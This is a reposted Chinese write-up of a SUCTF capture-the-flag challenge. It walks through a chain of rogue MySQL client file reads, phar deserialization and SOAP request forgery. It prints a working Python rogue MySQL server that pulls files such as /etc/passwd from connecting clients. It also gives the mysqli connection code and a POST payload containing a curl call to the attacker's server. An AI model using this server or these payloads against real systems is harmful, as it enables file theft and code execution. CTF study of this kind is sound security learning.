结合suctf-upload labs-RougeMysql再学习

Posted wfzwebsecuity

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了结合suctf-upload labs-RougeMysql再学习相关的知识,希望对你有一定的参考价值。

这篇主要记录一下这道题目的预期解法

做这道题首先要在自己的vps搭建一个rouge mysql,里面要填写需要读取客户端的文件名,即我们上传的phar文件路径

先搭一个rouge mysql测试看看:

#coding=utf-8
#python2.x
import socket import logging logging.basicConfig(level=logging.DEBUG) #filename="phar:///var/www/html/upload/bdb01307672a35c91848f1c1d093c343/d01deaab382af320bb80e16efc8ecd78.gif" filename="/etc/passwd" sv=socket.socket() sv.bind(("",3306)) sv.listen(5) conn,address=sv.accept() logging.info(Conn from: %r, address) conn.sendall("\\x4a\\x00\\x00\\x00\\x0a\\x35\\x2e\\x35\\x2e\\x35\\x33\\x00\\x17\\x00\\x00\\x00\\x6e\\x7a\\x3b\\x54\\x76\\x73\\x61\\x6a\\x00\\xff\\xf7\\x21\\x02\\x00\\x0f\\x80\\x15\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x70\\x76\\x21\\x3d\\x50\\x5c\\x5a\\x32\\x2a\\x7a\\x49\\x3f\\x00\\x6d\\x79\\x73\\x71\\x6c\\x5f\\x6e\\x61\\x74\\x69\\x76\\x65\\x5f\\x70\\x61\\x73\\x73\\x77\\x6f\\x72\\x64\\x00") conn.recv(9999) logging.info("auth okay") conn.sendall("\\x07\\x00\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00") conn.recv(9999) logging.info("want file...") wantfile=chr(len(filename)+1)+"\\x00\\x00\\x01\\xFB"+filename conn.sendall(wantfile) content=conn.recv(9999) logging.info(content) conn.close()

首先尝试读一个/etc/passwd看看

此时只需要在服务器启动rouge mysql即可

技术图片

此时可以看到服务器已经监听了3306端口等待客户端的连接

我们依照以下mysql客户端的配置来构造payload:

客户端选择mysqli类

技术图片

$m = new mysqli(); 
$m->init();
$m->real_connect(‘vps_ip‘,‘select 1‘,‘select 1‘,‘select 1‘,3306);
$m->query(‘select 1;‘);

这里只需要配置ip和端口接口

技术图片

接下来就能够读取到客户端的/etc/passwd文件了,那么只需要修改一下soap请求中的post参数即可,修改成客户端连接rouge mysql的参数形式

那么对应的soap请求中的post参数改为:

‘admin=1&cmd=curl vps_ip&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=vps_ip&arg2[1]=root&arg2[2]=123&arg2[3]=test&arg2[4]=3306&func3=query&arg3=select 1‘

然后上传phar文件:

此时将得到回显一个回显路径:

技术图片

那么此时再上传第二个phar文件,因为此时在rouge mysql上需要给客户端发送读取phar文件,这时客户端才会打开这个phar文件,从而触发有漏洞的stream,导致反序列化,

 技术图片

所以此时需要新建一个phar文件,那么肯定要存在待会要反序列化的Ad类,然后生成phar上传,将会得到一个新的phar路径,这个就是我们要在rouge mysql上配置的要读取的文件路径

技术图片

然后我们此时再访问我们上传的第一个phar文件,就能够打通整个攻击链了,这里和zedd师傅交流了,需要对源代码进行一个小的修改

技术图片

在调用反射类实现的real_connect方法时参数实际上为5个参数,对应着ip,数据库用户名、数据库密码、数据库名,端口,所以不能够直接以数据传进去,所以这里需要改成

invode($this->instance,$this->arg2[0],$this->arg2[1],$this->arg2[2],$this->arg2[3],$this->arg2[4])

然后再回到func.php来触发漏洞,为了方便测试,我在本地里面写的wakeup函数是curl vps的端口

技术图片

那么触发phar以后,vps的rouge mysql将接受到客户端的请求,并且此时vps监听的端口也将收到curl请求,整个攻击链都打通了

技术图片

技术图片

 梳理一下这个题目的流程:

1.首先bypass协议限制,构造phar包

2.构造soap请求admin.php,触发Ad类中的反射类

3.rouge mysql 客户端文件任意读取

整个攻击流程用到了两次phar反序列化

第一次phar反序列化,触发File类

技术图片

技术图片

类中__wakeup函数来反射一个soap类,调用check函数触发请求,这里exp中file_name构造为一个数组传入$this->file_name是可以的,实际上就当作是构造函数的参数了可以分解为两个参数,因为soap请求第一个参数要为null,即非wsdl型,第二个参数才是注入post请求的参数

技术图片

第二次mysql本地读取文件时造成phar反序列化,触发Ad类__wakeup函数触发getflag

技术图片

这里payload传入的时候就不能直接传入一个数组了,

技术图片

这里invoke实际上是调用类中的方法,第一个参数就是实例化的mysqli对象,第二个参数就是传给要调用的$reflectionMethod的参数,这里不能用数组。

所以整个攻击链就分析完了,还是踩了不少坑:

1.docker里面直接docker-compose up -d起来,soap发送请求时要修改一下ip和端口,要是默认是127.0.0.1:9025端口这样是访问不到127.0.0.1:9025/admin.php的,必须修改为docker容器的ip地址

技术图片

那么对应的验证是否为127.0.0.1的地方也要修改一下,修改为

技术图片

这样本地才可以跑通,rouge mysql的攻击面实际上在cms里面也还有很多,有兴趣的话可以结合cms好好研究研究 

以上是关于结合suctf-upload labs-RougeMysql再学习的主要内容,如果未能解决你的问题,请参考以下文章

一个核糖体与mRNA的结合部位,为啥形成2个tRNA结合位点

编译器思维之结合律

C语言中结合性自右向左怎么理解

乘法结合律的(25+8)X4算法?

请教Mybatis和Spring结合的配置问题

请教Mybatis和Spring结合的配置问题